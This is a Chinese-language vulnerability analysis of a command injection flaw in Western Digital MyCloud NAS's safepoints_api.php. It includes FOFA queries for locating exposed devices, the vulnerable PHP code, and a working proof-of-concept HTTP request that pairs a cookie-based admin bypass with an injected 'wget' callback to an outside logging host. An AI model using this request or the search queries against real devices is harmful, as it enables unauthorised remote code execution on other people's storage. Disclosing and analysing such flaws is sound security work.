漏洞简介

Western Digital MyCloud NAS是一款网络附加存储设备，旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件，支持多种设备的备份和共享。Western Digital MyCloud NAS safepoints_api.php中存在命令执行漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。

影响版本

<=2.11.153（老版本，已发布修复补丁）

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "

漏洞分析

直接看 safepoints_api.php 其业务实现逻辑如下

<?php
session_start();
$r = new stdClass();
$r->success = false;

include ("../lib/login_checker.php");

/* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
if (login_check() != 1)
{
    echo json_encode($r);
    exit;
}

define('SAFEPOINTS_NETWORK_DISCOVER', '/var/www/xml/discover_remote_nas_devices.xml');
define('SAFEPOINTS_LIST', '/var/www/xml/safepoint_list.xml');
define('SAFEPOINTS_SHARE_LIST', '/var/www/xml/discover_local_nas_share_%s.xml');
define('SAFEPOINTS_RESTORE', '/var/www/xml/sprb.xml');
define('SAFEPOINTS_PASSWORD', '/tmp/_safepoints_pwd.xml');

$action = $_POST['action'];
if ($action == "")  $action = $_GET['action'];
.....
switch ($action)
{
    case "network_get_sharefolder":
{
    $r->status = -1;
    $cnt = 0;

    $ip = $_POST['ip'];
    $user = $_POST['user'];
    $pwd = $_POST['pwd'];

    $cmd = "killall -SIGKILL discover_dev";
    pclose(popen($cmd, 'r'));

    $_filename = sprintf(SAFEPOINTS_SHARE_LIST, $ip);
    @unlink($_filename);
    $cmd = sprintf("discover_dev -q %s -u '%s' -p '%s'", $ip, $user, $pwd);
    pclose(popen($cmd, 'r'));

当$_POST['action'] = network_get_sharefolder时，$ip = $_POST['ip']、$user = $_POST['user']、$pwd = $_POST['pwd']这几个参数均是直接拼接进$cmd中，然后调用popen进行执行，期间对这几个参数没有过滤或校验，导致了命令注入漏洞。尽管此漏洞需要管理员权限才能触发，但可以结合login_check的权限绕过达到 rce的效果。

类似的问题同样存在于usb_get_safepoints usb_do_recover network_share_auth network_get_safepoints network_do_recover 操作中，其中$backup_type $restore_source $taskname $old_taskname等参数也未被转义。

usb_get_safepoints

usb_do_recover

network_share_auth

network_get_safepoints

network_do_recover

漏洞复现

需要注意source_dir应为数组形式，否则foreach循环判断会出错

POST /web/addons/safepoints_api.php HTTP/1.1
Host: west-nas.mrxn.ent
Cookie: isAdmin=1;username=admin
Content-Type: application/x-www-form-urlencoded

ip=;wget dnslog.pt;&action=network_get_sharefolder

成功在DNSLOG平台收到DNS和HTTP请求